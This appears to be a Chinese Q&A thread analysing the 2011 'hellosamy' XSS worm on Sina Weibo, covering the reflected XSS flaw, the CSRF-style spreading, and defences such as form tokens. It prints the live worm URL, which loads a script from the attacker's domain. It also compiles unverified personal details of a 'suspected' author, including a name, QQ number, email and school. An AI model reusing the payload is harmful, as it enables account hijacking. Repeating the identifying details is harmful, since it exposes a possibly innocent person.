新浪微博出現類似病毒爆發的情況,是怎麼回事?

2011 年 6 月 28 日


腳本 http://www.2kt.cn/images/t.js

XSS代碼:http://weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src=//www.病毒地址.cn/images/t.js%3e%3c/script%3e?type=update

新浪名人堂部分XSS過濾不嚴

攻擊原理分析:http://d.pr/Flsl
源 .js 文件內容:http://d.pr/rHiB (海均提供)

========================================

病毒作者微博 http://weibo.com/n/hellosamy (已河蟹)
遺照 http://oi52.tinypic.com/zjc5s4.jpg

Domain Name: http://2kt.cn
Registrant Organization: 北京新網數碼信息技術有限公司
Registrant Name: 張志
Administrative Email: lin5061@gmail.com

疑似病毒作者信息:
I D名:lin5-61
真實姓名:朝森
性別:男
畢業院校及專業:武漢科技大學
職業:寫代碼(JAVA)
聯繫方式:QQ46142932

QQ空間: http://user.qzone.qq.com/46142932
問題:我是哪裡人?
回答:海南。


我去的時候晚了,沒有弄到原始的腳本(傷心)[Update 1: 已經通過其他途徑獲得],只能根據這個截圖分析:http://d.pr/Flsl
1. 他(暫定認為是他,而不是她)是怎麼嵌入腳本的?
關鍵在於新浪微博名人堂的XSS漏洞,我們把病毒連接URL decode一下就看出來:
http://i56.tinypic.com/14axxlh.png
這個腳本被執行了:http://www.2kt.cn/images/t.js
問題在於新浪,一般來說這樣的網址會被載入404頁面,而這個網址的結果是腳本被執行了,應該是被嵌入了腳本。
這種攻擊是反射型XSS,我猜是「名人堂」頁面的JS腳本寫的不夠安全,導致惡意腳本被被載入了頁面。
[Update 4]
看到了這個截圖,終於明白是如何嵌入的了,新浪的過濾太鬆了:http://ww4.sinaimg.cn/large/67fd8527jw1din139qx3aj.jpg

2. 他是如何發私信,發微博的?(以下基本上是CSRF的解釋)
有人說攻擊者很厲害,因為既能發私信,又能發微博,還能Follow。但其實最難的地方,在於如何執行那個腳本,因為一旦那個頁面可移植性腳本,其他的就好做了,我們簡單分析原理:
1) 所有的攻擊原理都是背後偷偷執行Ajax,通過仿造提交Form來完成發布微博等等。
2) 但這也有一個問題,就是Ajax的跨域,由於Ajax的same domain的要求,無法跨域名執行腳本,他最厲害的地方在於,在微博中植入了這個腳本,這樣就偽造了same domain,可以執行所有的Ajax。以上可以通過post()這個函數看出來,很簡單的XHR調用,並沒有使用cross domain的技巧。
3) 發微博:publish(),向http://weibo.com/mblog/publish.php通過Ajax提交數據,由於大家都是登陸的,所以伺服器端session還在,直接就可以成功發布微博。
4) 關註:其實也一樣原理。
5) 發私信:發私信多了一個步驟,獲取粉絲的user id。其中的關鍵函數getappkey()我看不到是怎麼寫的,可能就是從http://weibo.com/YOURID/follow頁面暴力扒取所有的user id,或者通過API獲取到粉絲信息,前者可能性更大一些[Update 1: 看到代碼了,是前一種]。獲取之後然後通過一個for loop發送。

3. 這和新浪的開放品台有關嗎?
簡單的說:沒關係(至少根據我看到的代碼,希望有人提供完整的代碼)。
這次攻擊的關鍵部分顯然不是通過API進行的,雖然API可能被用來輔助。不過API本身很有可能被用來做壞事(比如用了某個應用,偷偷關注一個人),但是這次是通過嵌入腳本,根本沒有必要走遠路去走API,況且API已經默認禁止了私信埠。

Update 1:
朋友給了我原始代碼,我看了一下,getappkey是通過「暴力」的方式得到user id的,與API無關。

Update 2:
hellosamy這不是一個簡單的昵稱,samy是非常有名的通過Social Network的XSS攻擊傳播的病毒,一開始在MySpace上面進行傳播。說明攻擊者對於網路安全領域有一定的功力(有點廢話,能做到的必然很厲害),攻擊方式和人人網的攻擊有些區別,人人網是因為對於私信沒有嚴格的strip tags,所以只要打開私信就會「中毒」,更嚴重。這次攻擊如果打開私信是沒問題的,如果警覺的話,不去點擊那個鏈接,是沒問題的。嚴重程度稍微低於人人網的攻擊。

Update 3:
新浪應該如何防範呢?XSS我就不說了,因為我也沒弄懂腳本如何植入的(見上),但是即使植入腳本,新浪也可以防範,就是通過在所有的Form submission加入一個Token (hidden input),這個Token應該根據每個用戶hash出不同的ID,然後提交的時候驗證這個ID。


樓上幾個回答的人你們研究js文件是沒有任何意義的,因為那些不過只是很簡單的js調用新浪微博功能的代碼而已。

28日的XSS是因為名人堂功能有欄位過濾不嚴而造成的。名人堂功能對部分內容沒有進行strip tags,導致可以嵌入腳本行程反射性的XSS。

首先在知乎再次聲明:此事太多人問我是不是我乾的,我的回答是自從6月初我所在的網路已經被牆奸了,我不可能在這個情況下去挖掘XSS, 何況這種體力活我本人早就不做了。

我的初步分析是這樣的(掃盲言論):

新浪微博在前端一定是有驗證機制,但是使用firebug可以跳過前端的驗證提交不該有的代碼。那麼在挖掘的時候就可以使用curl模擬一下而完全無視前端的驗證。所以js上的驗證是防君子不防小人的。但是通常新浪後端必須要對字元進行進一步的過濾,包括url的encode decode, 各種加密,以及strip tags。

沒有過濾好的話就可以造成一個特殊的url形成XSS漏洞。

此次名人堂有過濾不嚴(很可能是圖片相關)導致某個表單在提交之後結果頁面上可以被嵌入腳本。 也就是說你執行某個url的時候自然就提交了一個腳本並執行了起來。

我有研究過這個東西是否可變持久性,結果是在犧牲傳播性上是完全有可能的。也就是說此次用反射性進行傳播是一個不是非常高明的做法,其效果遠不如使用釣魚將其變為持久層而逐漸獲取大量名人的新浪公共ID。

此次行為如果包裝得精緻一點,可以套嵌和模擬一個登陸窗口出現,讓用戶以為是第三方應用而」再次登陸「新浪微博。

所以此次做法屬於一個很有天分的新人所為。


我觀察到的現象是:

  1. 一些牛逼的賬號(如@冷笑話精選、@techweb 等)都在首頁發出了莫名其妙的信息。我在短時間內收到 20 多條私信,鏈接都是:
    http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update 這個頁面,其中有 http://www.2kt.cn/images/t.js 被執行了。
  2. 會影響到新浪微博的評論、翻頁等基本功能。涉及攻擊包括加關注、發微博、發私信等功能。
  3. 新浪微博pm說:基本定位了這次攻擊的原因,微博廣場頁面 http://weibo.com/pub/star 有XSS漏洞,被植入了惡意JS腳本。初步發現 Chrome 和 Safari 都沒中招。IE、Firefox未能倖免。
  4. 有人簡單分析了攻擊的原理:http://d.pr/Flsl

百度hi、Facebook都曾被XSS蠕蟲攻擊。
解救之道在 http://htmlpurifier.org/


新浪微博突然出現大範圍「中毒」,大量用戶自動發送「建黨大業中穿幫的地方」、「個稅起征點有望提到4000」、「郭美美事件的一些未注意到的細節」、「3D肉團團高清普通話版種子」等帶鏈接的微博與私信,並自動關注一位名為hellosamy的用戶。
新浪hellosamy蠕蟲的傳播與細節:http://bbs.kafan.cn/thread-1017334-1-1.html


遺照 :http://ww4.sinaimg.cn/large/73e82841jw1din33mhv7wj.jpg


324


xss和 5.1校內漏洞差不多。。。。 都是利用了過濾不嚴格。


昨天新浪微博被跨站攻擊的原理:
http://www.oschina.net/news/19236/sina-weibo-xss
鏈接中寫JS,很有趣的方法


系統存在xss漏洞,被利用來放了xss蠕蟲,就這麼簡單。


推薦閱讀:

OS X 真的沒有病毒?為什麼?
有哪些有趣的電腦病毒?

TAG:突發事件 | XSS | 計算機病毒 | XSS 攻擊新浪微博事件(2011年6月28日) |